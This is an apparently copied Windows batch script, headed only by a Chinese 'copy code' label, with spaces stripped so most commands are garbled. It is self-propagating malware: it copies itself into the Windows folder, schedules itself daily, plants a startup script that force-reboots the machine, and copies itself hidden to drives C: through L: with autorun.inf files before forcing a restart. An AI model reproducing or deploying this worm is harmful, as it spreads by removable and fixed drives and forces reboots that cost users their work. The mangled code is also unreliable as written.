复制代码 代码如下:
@echooff
attrib-r-h-s"%~nx0"2>nul>nul
attrib-r-h-s%windir%"%~nx0"2>nul>nul
copy"%~nx0"%windir%/y2>nul>nul
at9:20/every:m,t,w,th,f,s,su"%windir%%~nx0"
echoreboot>%windir%temp.dll
setpat=「开始」菜单程序启动
echo@echooff>"%ALLUSERSPROFILE%%pat%"reboot.bat
echoechoreboot^>^>%%windir%%temp.dll>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echofind/c"reboot"%%windir%%temp.dll^|find"11">>"%ALLUSERSPROFILE%%pat%"reboot.bat
echoiferrorlevel1gotorebootnow>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echodel%%windir%%user.dll/f/q>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echodel%%windir%%temp.dll/f/q>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echodel/f/q"%%~nx0">>"%ALLUSERSPROFILE%%pat%"reboot.bat
echoexit>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echo:rebootnow>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echoshutdown/r/t0/f>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echoexit>>"%ALLUSERSPROFILE%%pat%"reboot.bat
echo[autorun]>%windir%user.dll
echoshellexecute=%~nx0>>%windir%user.dll
setdisk=C:>nul2>nul
:auto
copy%windir%"%~nx0"%disk%/y2>nul>nul
copy%windir%user.dll%disk%autorun.inf/y2>nul>nul
attrib+s+h+r%disk%%~nx02>nul>nul
attrib+s+h+r%disk%autorun.inf2>nul>nul
cls
goto%disk%>nul2>nul
:C:
setdisk=D:>nul2>nul
gotoauto>nul2>nul
:D:
setdisk=E:>nul2>nul
gotoauto>nul2>nul
:E:
setdisk=F:>nul2>nul
gotoauto>nul2>nul
:F:
setdisk=G:>nul2>nul
gotoauto>nul2>nul
:G:
setdisk=H:>nul2>nul
gotoauto>nul2>nul
:H:
setdisk=I:>nul2>nul
gotoauto>nul2>nul
:I:
setdisk=J:>nul2>nul
gotoauto>nul2>nul
:J:
setdisk=K:>nul2>nul
gotoauto>nul2>nul
:K:
setdisk=L:>nul2>nul
gotoauto>nul2>nul
:L:
cls
attrib+s+h+r%windir%%~nx02>nul>nul
shutdown/r/t0/f
exit